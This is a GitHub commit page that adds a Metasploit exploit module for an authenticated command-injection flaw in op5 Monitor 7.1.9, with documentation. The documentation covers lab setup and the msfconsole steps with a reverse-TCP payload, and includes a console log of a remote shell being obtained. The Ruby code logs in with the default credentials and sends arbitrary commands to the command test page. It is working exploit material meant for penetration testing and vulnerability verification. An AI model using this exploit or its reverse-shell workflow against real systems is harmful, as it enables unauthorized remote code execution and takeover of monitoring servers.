Skip to content

Commit 9ea0b8f

Browse files
committed
Land rapid7#6934, Adds exploit for op5 configuration command execution
2 parents 6ea9d7a + 856baf5 commit 9ea0b8f

File tree

2 files changed

+195
-0
lines changed

2 files changed

+195
-0
lines changed
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
## Vulnerable Application
2+
3+
Official Source: [op5.com](https://www.op5.com/blog/wpfb-file/op5-monitor-7-1-9-20160303-tar-gz/)
4+
Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
5+
6+
### Creating A Testing Environment
7+
8+
Just a few quick notes on setting up a vulnerable lab with this software.
9+
10+
1. The vulnerable version only installs on CentOS 6.x (author used 6.0 final)
11+
2. Within `php.ini`, `date.timezone = "America/New York"` to `date.timezone = "America/New_York"` if you get php errors
12+
3. You may need to register for a free license via an email challenge/verification
13+
14+
## Verification Steps
15+
16+
1. Install the software, RHEL/CENTOS required (tested on CentOS 6)
17+
2. Start msfconsole
18+
3. Do: ```use exploit/linux/http/op5_config_exec```
19+
4. Do: ```set payload linux/x86/shell/reverse_tcp```
20+
5. Do: ```set rhost 192.168.2.31```
21+
6. Do: ```set lhost 192.168.2.229```
22+
7. Do: ```exploit```
23+
8. You should get a shell.
24+
25+
## Options
26+
27+
**PASSWORD**
28+
29+
Password is 'monitor' by default.
30+
31+
**USERNAME**
32+
33+
Documentation was unclear on this. Installing just the app, the
34+
username was 'monitor' by default. However it looks like if you
35+
install the appliance it may be 'root'
36+
37+
## Scenarios
38+
39+
```
40+
msf > use exploit/linux/http/op5_config_exec
41+
msf exploit(op5_config_exec) > set verbose true
42+
verbose => true
43+
msf exploit(op5_config_exec) > set payload linux/x86/shell/reverse_tcp
44+
payload => linux/x86/shell/reverse_tcp
45+
msf exploit(op5_config_exec) > set rhost 192.168.2.31
46+
rhost => 192.168.2.31
47+
msf exploit(op5_config_exec) > set lhost 192.168.2.229
48+
lhost => 192.168.2.229
49+
msf exploit(op5_config_exec) > check
50+
51+
[+] Version Detected: 7.1.9
52+
[+] The target is vulnerable.
53+
msf exploit(op5_config_exec) > exploit
54+
55+
[*] Started reverse TCP handler on 192.168.2.229:4444
56+
[*] Sending stage (36 bytes) to 192.168.2.31
57+
[*] Command shell session 1 opened (192.168.2.229:4444 -> 192.168.2.31:52552) at 2016-06-01 14:38:41 -0400
58+
[*] Command Stager progress - 100.00% done (832/832 bytes)
59+
whoami
60+
monitor
61+
id
62+
uid=299(monitor) gid=48(apache) groups=48(apache),14(uucp),488(smstools) context=system_u:system_r:initrc_t:s0
63+
```
Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
##
2+
## This module requires Metasploit: http://metasploit.com/download
3+
## Current source: https://github.com/rapid7/metasploit-framework
4+
###
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::CmdStager
11+
12+
Rank = ExcellentRanking
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'op5 v7.1.9 Configuration Command Execution',
18+
'Description' => %q(
19+
op5 an open source network monitoring software.
20+
The configuration page in version 7.1.9 and below
21+
allows the ability to test a system command, which
22+
can be abused to run arbitrary code as an unpriv user.
23+
),
24+
'Author' =>
25+
[
26+
'h00die <[email protected]>', # module
27+
'hyp3rlinx' # discovery
28+
],
29+
'References' =>
30+
[
31+
[ 'EDB', '39676' ],
32+
[ 'URL', 'https://www.op5.com/blog/news/op5-monitor-7-2-0-release-notes/']
33+
],
34+
'License' => MSF_LICENSE,
35+
'Platform' => ['linux', 'unix'],
36+
'Privileged' => false,
37+
'DefaultOptions' => { 'SSL' => true },
38+
'Targets' =>
39+
[
40+
[ 'Automatic Target', {}]
41+
],
42+
'DefaultTarget' => 0,
43+
'DisclosureDate' => 'Apr 08 2016'
44+
)
45+
)
46+
47+
register_options(
48+
[
49+
Opt::RPORT(443),
50+
OptString.new('USERNAME', [ true, 'User to login with', 'monitor']),
51+
OptString.new('PASSWORD', [ false, 'Password to login with', 'monitor']),
52+
OptString.new('TARGETURI', [ true, 'The path to the application', '/'])
53+
], self.class
54+
)
55+
end
56+
57+
def check
58+
begin
59+
res = send_request_cgi(
60+
'uri' => normalize_uri(target_uri.path),
61+
'method' => 'GET'
62+
)
63+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
64+
/Version: (?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+\|/ =~ res.body
65+
66+
if version && Gem::Version.new(version) <= Gem::Version.new('7.1.9')
67+
vprint_good("Version Detected: #{version}")
68+
Exploit::CheckCode::Appears
69+
else
70+
Exploit::CheckCode::Safe
71+
end
72+
rescue ::Rex::ConnectionError
73+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
74+
end
75+
end
76+
77+
def exploit
78+
execute_cmdstager(
79+
:flavor => :echo
80+
)
81+
end
82+
83+
def execute_command(cmd, opts)
84+
begin
85+
# To manually view the vuln page, click Manage > Configure > Commands.
86+
# Click the "Test this command" button to display the form we abuse.
87+
88+
# login
89+
res = send_request_cgi(
90+
'uri' => normalize_uri(target_uri.path, 'monitor/index.php/auth/login'),
91+
'method' => 'POST',
92+
'vars_get' =>
93+
{
94+
'uri' => 'tac/index'
95+
},
96+
'vars_post' =>
97+
{
98+
'csrf_token' => '',
99+
'username' => datastore['USERNAME'],
100+
'password' => datastore['PASSWORD']
101+
}
102+
)
103+
104+
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 302
105+
cookie = res.get_cookies
106+
# exploit
107+
res = send_request_cgi(
108+
'uri' => normalize_uri(target_uri.path, 'monitor/op5/nacoma/command_test.php'),
109+
'method' => 'GET',
110+
'cookie' => cookie,
111+
'vars_get' =>
112+
{
113+
'cmd_str' => cmd
114+
}
115+
)
116+
117+
# success means we hang our session, and wont get back a response
118+
if res
119+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
120+
fail_with(Failure::UnexpectedReply, "#{peer} - Credentials need additional privileges") if res.body =~ /Access Denied/
121+
end
122+
123+
rescue ::Rex::ConnectionError
124+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
125+
end
126+
end
127+
128+
def on_new_session(session)
129+
super
130+
session.shell_command_token('setsid $SHELL')
131+
end
132+
end

0 commit comments

Comments
 (0)